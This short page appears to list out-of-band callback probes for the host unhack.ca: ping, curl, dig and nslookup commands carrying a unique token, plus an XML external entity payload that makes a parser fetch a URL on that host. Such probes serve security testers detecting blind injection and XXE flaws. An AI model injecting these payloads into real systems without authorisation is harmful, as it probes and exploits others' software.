$ ping -c1 -p 009d634760440fbac9b15c1dc9568500 unhack.ca
 

$ curl http://unhack.ca/p/9d634760440fbac9b15c1dc95685
 

$ dig 9d634760440fbac9b15c1dc95685 @unhack.ca
 

$ dig 9d634760440fbac9b15c1dc95685.ns.unhack.ca
 

C:\> nslookup 9d634760440fbac9b15c1dc95685 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9d634760440fbac9b15c1dc95685">]>
    <foo>&xxe;</foo>